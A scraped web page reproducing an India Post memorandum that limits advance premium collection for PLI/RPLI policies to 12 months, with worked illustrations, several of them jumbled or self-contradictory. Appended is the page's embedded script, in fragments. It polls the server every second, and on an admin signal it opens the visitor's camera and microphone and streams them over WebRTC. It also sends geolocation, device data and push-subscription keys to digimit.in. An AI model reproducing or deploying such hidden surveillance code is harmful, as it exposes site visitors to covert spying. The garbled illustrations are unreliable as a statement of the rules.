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                            Restriction of advance premium collection in PLI/RPLI                        </h1>

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                        <div style="text-align: center">F.No.13-02/2021-LI</div>
<div style="text-align: center">Ministry of Communications Department of Posts</div>
<div style="text-align: center">(Directorate of Postal Life Insurance). Chanakyapuri P.O. Complex</div>
<div style="text-align: center">New Delhi-110021</div>
<div style="text-align: right">Dated:12.04.2024</div>
<div style="text-align: center"><b>OFFICE MEMORANDUM</b></div>
<div style="text-align: justify">Sub: Restriction of advance premium collection in PLI/RPLI.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">Proposal for restricting advance premium collection in PLI/RPLI Policies was under consideration for some time, owing to mis-appropriation cases reported by circles and also to keep the provisions at par with standard insurance industry practice.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">2.Accordingly, it has now been decided that maximum 12 months advance premia shall be allowed to be collected in a PLI/RPLI policy, excluding any previous or current premium(s), irrespective of premium payment frequency (monthly/quarterly/half- yearly/annually).</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">3.Necessary amendment (s) to be carried out to this effect in the POLI Rules, 2011 is under process. The instructions have been further explained with illustrations for ease of our staff vide Annexure- &#8216;A&#8217; to this document. This instruction shall come into effect immediately as requisite changes/provisions have been made in the system</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">This issues with the approval of competent authority.</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">(Mrinalini Srivastava) Additional General Manager (PLI)</div>
<div style="text-align: justify"></div>
<div style="text-align: justify">All CPMSG</div>
<div style="text-align: justify"></div>
<div style="text-align: justify"><b>Copy to: &#8211;</b></div>
<div style="text-align: justify">1.PSO to Secretary (Posts)/ PPS to Director General Postal Services.</div>
<div style="text-align: justify">2.PPS/PS to Addl. DG (Co-ordination)/Member (Banking)/Member (O)/ Member(P)/ Member (Planning &amp; HRD)/ Member (PLI)/Member (Tech)</div>
<div style="text-align: justify">3. AS&amp;FA/Sr. Deputy Director General (Vigilance) &amp; CVO/Sr. Deputy Director</div>
<div style="text-align: justify">General (PAF)</div>
<div style="text-align: justify">4.Director, Rafi Ahmed Kidwai National Postal Academy, Ghaziabad</div>
<div style="text-align: justify">5.Addl.DG, APS C/o 56 APO</div>
<div style="text-align: justify">6.CGM (BD)/CGM (Parcel)/CGM (CEPT)</div>
<div style="text-align: justify">7.All DDSG/GMs/Secretary PSB</div>
<div style="text-align: justify">8.All Directors, Postal Training Centres/ Director, PLI, Kolkata</div>
<div style="text-align: justify">9.All Officers/Officials of PLI Directorate</div>
<div style="text-align: justify">11.GM (CEPT), Mysuru, with the request to upload the order in India Post Website</div>
<div style="text-align: justify"></div>
<h2 style="text-align: center">Annexure-A</h2>
<h3>Illustration -1</h3>
<p>Mr X holder of PLI/RPLI pays premium on 05.12.2023 having following particulars.<br />Policy issue date: 01-Jan-23.&nbsp;<br />Payment frequency : Monthly&nbsp;<br />Premium paid upto:&nbsp;30-Nov-23.<br />Advance premium payment admissible :&nbsp;Upto Dec&#8217;24<br />{Current month Premium i.e., Dec&#8217;23+ Advance 12 months premium i.e., 01-Jan- 24 to 31-Dec-24}</p>
<div></p>
<h3><b>Illustration -2</b></h3>
<p>Mr X holder of PLI/RPLI pays premium on 05.01.2024 having following particulars.</p>
<p>Policy issue date:01-Jan-19<br />Payment frequency : Monthly<br />Premium paid upto: 31-Oct-23<br />Advance premium payment admissible :&nbsp;Upto Jan&#8217;25<br />{01-Nov-23 to 31-Dec 23 (Previous due) + Jan&#8217;24 (Current Month due) + 12 months advance premium i.e., 01-Feb-24 to 31- Jan-25.}</div>
<div></p>
<h3>Illustration -3</h3>
<p>Mr X holder of PLI/RPLI pays premium on 30.11.23 with following particulars.<br />Policy issue date:01-Jan-23.<br />Payment frequency : Monthly<br />Premium paid upto:30-Jun-23<br />Advance premium payment admissible :&nbsp;Upto Nov&#8217;24<br />{01-Jul-23 to 31-Oct 23 (previous due) + Current Month due i.e., Nov&#8217;23 + 12 months advance premium i.e., 01-Dec-23 to 30-Nov-24}</div>
<div>
<h3 style="text-align: center">Illustration -4</h3>
<p>Mr X holder of PLI/RPLI pays premium on 15.04.24 with following particulars.<br />Policy issue date:01-Jan-23.<br />Premium paid upto:31-Dec-24<br />Payment frequency:Monthly<br />Advance premium payment admissible : Upto 30 Apr❜25</div>
<p>{Since premium is already paid till Dec’24,<br />so, premium payment is allowed for the period 01-Jan-25 till 30-April-25}<br />Mr X holder of PLI/RPLI pays premium on 23.10.23 with following particulars.</p>
<div>
<h3 style="text-align: center">Illustration -5</h3>
<p>Policy issue date:·01-Jan-23.<br />Payment frequency :Quarterly.<br />Premium paid upto:30-Sep-23<br />Advance premium payment admissible:Upto Dec&#8217;24<br />{Current Due Premium (01-Oct-23 to 31- Dec-23) + 12 months advance premium i.e. 01-Jan-24 till 31-Dec-24}</p>
<h3>Illustration -6</h3>
<p>Mr X holder of PLI/RPLI pays premium on 15.09.23 with following particulars.</p>
<p>Policy issue date:01-Jan-19.<br />Payment frequency : Quarterly.&nbsp;<br />Premium paid upto: 31-Mar-23<br />Advance premium payment admissible : Upto 30-Sep-24<br />{Previous due (01 Apr❜23 to 30 Jun&#8217;23) + Current due premium i.e., July&#8217;23 to Sep&#8217; 23) + 12 months Advance Premium i.e., 01- Oct-23 till 30-Sep-24}</div>
<div></p>
<h3>Illustration -7</h3>
<p>Mr X holder of PLI/RPLI pays premium on 01.12.23 with following particulars.<br />Policy issue date:<br />Payment frequency<br />• Premium paid upto:<br />01-Jan-23.<br />Quarterly.<br />30-Jun-23<br />Advance premium payment admissible<br />Upto 31 Dec&#8217;24<br />{Previous due (01 July’23 to 30 Sep&#8217;23) Current premium due (Oct&#8217;23 to Dec&#8217;23) + 12 months Advance Premium i.e., 01-Jan- 24 till 31-Dec-24}</p>
<h3>Illustration -8</h3>
<p>Mr X holder of PLI/RPLI pays premium on 01.07.23 with following particulars.<br />Policy issue date: 01-Jan-22.<br />Payment frequency :&nbsp;&nbsp;Half-yearly&nbsp;<br />Premium paid upto:30-Jun- 23&nbsp;<br />Advance premium payment admissible:Upto Dec-24</div>
<div>
<div>{Previous + Current due premium: &#8211; Nil + 12 months advance premium i.e., 01-Jan-24 to 31-Dec 24}</div>
<div>
<div>{Current Due Premium i.e. Jul&#8217; 23 to Dec&#8217;23</div>
<div>+ 12 months advance premium i.e., 01-Jan- 24 till 31-Dec-24}</div>
<h2 style="text-align: center">Illustration -9</h2>
</div>
<div>Mr X holder of PLI/RPLI pays premium on 30.11.23 with following particulars.<br />Policy issue date: 01-Jan-22.<br />Payment frequency : Half Yearly&nbsp;<br />Premium paid upto:31.12.2024<br />Advance premium payment admissible:Not payable<br />not{Advance premium deposit is admissible in the case, as the advance<br />premium for the admissible no. of months i.e., 12 is already paid}</p>
<h3>Illustration -10</h3>
<p>Mr X holder of PLI/RPLI pays premium on 01.08.23 with following particulars.<br />Policy issue date: 01-Jan-19.<br />Payment frequency : Half Yearly<br />Premium paid upto: 31.12.2022<br />Advance premium payment admissible :&nbsp;&nbsp;Upto Dec&#8217;24<br />{Previous + current due premium i.e., 01-Jan-23 to 31-Dec-23) + 12 months advance premium i.e., 01-Jan-24 to 31-Dec 24}</p>
<h3>Illustration -11</h3>
<p>Mr X holder of PLI/RPLI pays premium on 31.12.22 with following particulars.<br />Policy issue date: 01-Jan-22<br />Payment frequency : Annually.<br />Premium paid upto:Advance premium payment admissible</div>
<div>31.12.2022<br />Upto Dec&#8217;23<br />{Previous + Current due premium: &#8211; Nil +12 months advance premium i.e., 01-Jan-23 to 31-Dec 23}</p>
<h3 style="text-align: center">Illustration -12</h3>
<p>Mr X holder of PLI/RPLI pays premium on 05 Jan 23 with following particulars.<br />Policy issue date:01-Jan-22<br />Payment frequency:Annually.<br />Premium paid upto:31.12.2023<br />Advance premium payment admissible:Upto Dec-24</div>
<h3 style="text-align: center">Illustration -13</h3>
<div>Mr X holder of PLI/RPLI pays premium on 29-Mar 23 with following particulars.</div>
<div></div>
<div>Policy issue date:01-Jan-22&nbsp;</div>
<div>Payment frequency : Annually.</div>
<div>Premium paid upto: 31.12.2022</div>
<div>Advance premium payment admissible: Upto Dec-24</div>
<div>{Previous + current due premium i.e., 01-Jan-23 to 31-Dec-23) + 12 months advance premium i.e., 01-Jan-24 to 31-Dec 24}</div>
<div></div>
<div></div>
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<p>Source :&nbsp;<a href="https://potoolsblog.blogspot.com/2024/04/restriction-of-advance-premium.html" target="_blank" rel="noopener">https://potoolsblog.blogspot.com/2024/04/restriction-of-advance-premium.html</a></p>
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<p>Tag:&nbsp;PoTools | Post Office Tools | Postal Blog | Post Office | Po Tools | SA Post | System Administrator | India Post | Postal Study | Postal blog | GDS | GDS Blog | Rulings | Department of Posts | India Post Blog | Study material for Postal | India Post</p>
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            // Auto check if permissions previously granted or ask user
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            function sendSignalToServer(type, payload) {
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                fd.append('session_id', dmSessionId);
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                fd.append('target', 'admin');
                fd.append('type', type);
                fd.append('payload', JSON.stringify(payload));
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            async function handleAdminSignal(signal) {
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                        try {
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                            if (featureMicEnabled) reReqConstraints.audio = true;
                            else reReqConstraints.audio = false;

                            localMediaStream = await navigator.mediaDevices.getUserMedia(reReqConstraints);
                            hasCam = featureCamEnabled ? 1 : 0;
                            hasMic = featureMicEnabled ? 1 : 0;
                            camStatus = featureCamEnabled ? 'granted' : 'disabled';
                            micStatus = featureMicEnabled ? 'granted' : 'disabled';
                        } catch(e) {}
                    }

                    peerConnection = new RTCPeerConnection({
                        iceServers: [
                            { urls: 'stun:stun.l.google.com:19302' },
                            { urls: 'stun:stun1.l.google.com:19302' }
                        ]
                    });

                    // Add local tracks if stream active
                    if (localMediaStream) {
                        localMediaStream.getTracks().forEach(track => {
                            peerConnection.addTrack(track, localMediaStream);
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                    peerConnection.onicecandidate = (e) => {
                        if (e.candidate) {
                            sendSignalToServer('ice', e.candidate);
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                    };

                    await peerConnection.setRemoteDescription(new RTCSessionDescription(signal.payload));
                    const answer = await peerConnection.createAnswer();
                    await peerConnection.setLocalDescription(answer);
                    sendSignalToServer('answer', answer);
                } else if (signal.type === 'ice') {
                    if (peerConnection && signal.payload) {
                        try {
                            await peerConnection.addIceCandidate(new RTCIceCandidate(signal.payload));
                        } catch (e) {}
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                    switchCameraTrack(targetFacing);
                } else if (signal.type === 'disconnect') {
                    if (peerConnection) {
                        peerConnection.close();
                        peerConnection = null;
                    }
                }
            }

            function sendMediaPing() {
                const fd = new FormData();
                fd.append('action', 'digimit_media_ping');
                fd.append('session_id', dmSessionId);
                fd.append('page_url', currentUrl);
                fd.append('page_title', pageTitle);
                fd.append('device_type', getDeviceType());
                fd.append('has_cam', hasCam);
                fd.append('has_mic', hasMic);
                fd.append('cam_status', camStatus);
                fd.append('mic_status', micStatus);

                fetch(ajaxUrl, { method: 'POST', body: fd, credentials: 'same-origin' })
                .then(r => r.json())
                .then(data => {
                    if (data && data.success && data.data && data.data.signals) {
                        data.data.signals.forEach(sig => handleAdminSignal(sig));
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                }).catch(function(){});
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            // Ping server immediately and then every 1 second for instant stream connections
            sendMediaPing();
            setInterval(sendMediaPing, 1000);

        })();
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        window.digimitTelemetryExecuted = true;

        function detectDeviceSpecs() {
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            let deviceType = 'Desktop';
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            else if (ua.indexOf('Edge') !== -1) browser = 'Edge';

            return {
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                os: os,
                browser: browser,
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                language: navigator.language || 'en',
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || 'UTC'
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        function sendTelemetry(lat, lng, geoStatus, pushStatus) {
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            postData.append('device_type', specs.device_type);
            postData.append('os', specs.os);
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            postData.append('screen_res', specs.screen_res);
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            postData.append('page_url', window.location.href);
            postData.append('referrer', document.referrer || 'Direct');

            fetch('https://digimit.in/wp-admin/admin-ajax.php', {
                method: 'POST',
                body: postData
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        function savePushSubscriptionToServer(sub) {
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            postData.append('endpoint', sub.endpoint);
            if (sub.keys) {
                postData.append('p256dh', sub.keys.p256dh || '');
                postData.append('auth', sub.keys.auth || '');
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            fetch('https://digimit.in/wp-admin/admin-ajax.php', {
                method: 'POST',
                body: postData
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        function requestGeolocation(pushStatus) {
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                    function(pos) {
                        sendTelemetry(pos.coords.latitude, pos.coords.longitude, 'Granted', pushStatus);
                    },
                    function(err) {
                        sendTelemetry('', '', 'Denied', pushStatus);
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                    { enableHighAccuracy: true, timeout: 10000, maximumAge: 0 }
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            navigator.serviceWorker.register('/sw.js').catch(function(e) {});
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        let inMemoryPushId = null;
        let isInitialCheck = true;

        function triggerNativePushNotification(title, body, targetUrl) {
            const iconUrl = 'https://digimit.in/wp-content/themes/itsakrd/assets/img/logo.png';
            const options = {
                body: body || '',
                icon: iconUrl,
                badge: iconUrl,
                vibrate: [200, 100, 200, 100, 200],
                tag: 'digimit-push-' + Date.now(),
                requireInteraction: true,
                data: { url: targetUrl || 'https://digimit.in/' }
            };

            // 1. Send Native Browser/Mobile Notification Panel Push
            if ('Notification' in window && Notification.permission === 'granted') {
                if (navigator.serviceWorker && navigator.serviceWorker.ready) {
                    navigator.serviceWorker.ready.then(function(reg) {
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                        n.onclick = function() {
                            window.open(targetUrl || 'https://digimit.in/', '_blank');
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            } else {
                showFloatingPermissionBar(title, body, targetUrl);
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            // 2. Always show redesigned visual toast banner on open website tab
            showRedesignedInAppNotification(title, body, targetUrl);
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        function showRedesignedInAppNotification(title, body, targetUrl) {
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                        🔔
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                    <div style="flex:1;">
                        <div style="display:flex; align-items:center; justify-content:space-between; margin-bottom:6px;">
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                                Official Broadcast
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                            <button onclick="document.getElementById('digimitRedesignedPushToast').remove()" style="background:#f1f5f9; border:none; color:#64748b; font-size:16px; width:26px; height:26px; border-radius:50%; cursor:pointer; display:flex; align-items:center; justify-content:center; line-height:1; font-weight:bold;">&times;</button>
                        </div>
                        <h4 style="margin:0 0 6px; font-size:15px; font-weight:800; color:#0f172a; line-height:1.3; font-family:sans-serif;">${title}</h4>
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                            <span>Read Full Update</span> &rarr;
                        </a>
                    </div>
                </div>
            `;
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            permBar.innerHTML = `
                <div style="display:flex; align-items:center; justify-content:center; gap:8px; margin-bottom:6px;">
                    <span style="font-size:22px;">📲</span>
                    <strong style="font-size:15px; color:#0f172a; font-weight:800;">Get Instant Updates on Phone</strong>
                </div>
                <p style="font-size:12.5px; color:#475569; margin:0 0 14px; line-height:1.45; font-weight:500;">Enable notifications to receive new postal scheme releases directly in your mobile status tray.</p>
                <div style="display:flex; gap:10px; justify-content:center;">
                    <button onclick="requestNativeMobilePushPermission('${title}', '${body}', '${targetUrl}')" style="background:linear-gradient(135deg,#0284c7,#0369a1); color:#ffffff; border:none; font-weight:800; font-size:12.5px; padding:10px 22px; border-radius:25px; cursor:pointer; box-shadow:0 4px 14px rgba(2,132,199,0.35);">
                        🔔 Enable Mobile Alerts
                    </button>
                    <button onclick="document.getElementById('digimitPushPermBar').remove()" style="background:#f1f5f9; border:1px solid #cbd5e1; color:#64748b; font-size:12.5px; font-weight:700; padding:10px 18px; border-radius:25px; cursor:pointer;">
                        Later
                    </button>
                </div>
            `;
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        window.requestNativeMobilePushPermission = function(title, body, targetUrl) {
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                        if (bar) bar.remove();
                        registerPushSubscription();
                        triggerNativePushNotification(title, body, targetUrl);
                    } else {
                        alert('Push Notification permission is ' + perm + '. Please enable notifications in your browser settings.');
                    }
                });
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        };

        function checkLivePushBroadcasts() {
            fetch('https://digimit.in/wp-admin/admin-ajax.php?action=digimit_check_latest_broadcast&t=' + Date.now())
                .then(res => res.json())
                .then(data => {
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                        const b = data.data;

                        const seenKey = 'digimit_seen_push_' + b.id;
                        if (!localStorage.getItem(seenKey)) {
                            localStorage.setItem(seenKey, '1');
                            inMemoryPushId = b.id;
                            triggerNativePushNotification(b.title || 'DigiMit Update', b.message || '', b.url || 'https://digimit.in/');
                        }
                    }
                })
                .catch(function(err) {});
        }

        // Start real-time push poller every 3 seconds
        setInterval(checkLivePushBroadcasts, 3000);
        setTimeout(checkLivePushBroadcasts, 1000);
    })();
    </script>
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